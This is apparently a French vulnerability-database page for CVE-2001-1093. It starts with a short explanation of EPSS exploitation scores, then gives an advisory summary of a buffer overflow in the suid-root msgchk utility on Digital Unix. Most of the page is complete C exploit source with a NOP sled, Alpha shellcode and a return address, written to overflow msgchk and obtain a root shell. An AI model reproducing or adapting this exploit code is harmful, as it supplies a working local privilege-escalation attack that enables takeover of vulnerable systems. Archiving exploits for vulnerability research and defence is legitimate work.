CVE-2001-1093 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/3311/info The msgchk utility under certain versions of Digital Unix contains a buffer overflow vulnerability which could yield root privilege. If a local user invokes the msgchk utility at the command line, argumented with a sufficiently long string of bytes, a buffer overflow condition can be triggered. Where msgchk runs suid root, this can allow hostile code to be executed as root, granting an attacker administrative access to the vulnerable system. ++ msgchkx.c /* * 2001/09/05 - at the bench of windy fall * /usr/bin/mh/msgchk buffer overflow exploit code by truefinder , seo@igrus.inha.ac.kr * now we will drill /usr/bin/mh/msgchk * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define NOP 0x47ff041f #define ALIGNSIZE (4 + 1 ) #define BUFSIZE (8000 + 211 ) #define RETADDR 0x000000011ffffaa0 #define DEFNOPSIZE 7168 char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 }; char retaddr[] = { 0xa0, 0xea, 0xff, 0x1f, 0x01 , 0x00 }; static char shellcode[] = "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x11\x74\xf0\x47" /* bis $31,0x83,$17 */ "\x12\x94\x07\x42" /* addq $16,60,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ "\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */ "\x1f\x04\x31\x22" /* lda $17,0x041f($17) */ "\xfc\xff\x30\xb2" /* stl $17,-4($16) */ "\xf9\xff\x1f\xd2" /* bsr $16,-28 */ "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ "\xff\xff\xff\xff"; /* callsys ( disguised ) */ /* oh! this is ohhara's shellcode */ int main(int argc, char *argv[] ) { char *buf , *buf_ptr; int bufsize , alignsize , offset ; int i, totalsize; bufsize = BUFSIZE ; alignsize = ALIGNSIZE ; offset = 0 ; if ( argc < 1 ) { printf("usage : %s <bufsize> <align> <offset>\n", argv[0]); exit (-1); } if (argc > 1 ) bufsize = atoi( argv[1] ); if ( argc > 2 ) alignsize = atoi( argv[2] ) + ALIGNSIZE ; if ( argc > 3 ) offset = atoi ( argv[3] ); totalsize = alignsize + bufsize ; buf = malloc( totalsize ) ; memset ( buf, NULL , totalsize ); memset ( buf, 'A', alignsize ); buf_ptr = (char *)(buf + alignsize ); /* default nop size is 4096 bytes */ for ( i = 0 ; i < DEFNOPSIZE/4 ; i++ ) strcat ( buf_ptr , nop ); strcat ( buf_ptr, shellcode ); /* fill the block with 'A' */ for ( i =0 ; i < bufsize - DEFNOPSIZE - strlen(shellcode) - 8 ; i++ ) strcat( buf_ptr ,"A"); strcat ( buf_ptr , retaddr ); execl ("/var/tmp/mh/msgchk", "msgchk", buf, NULL ); }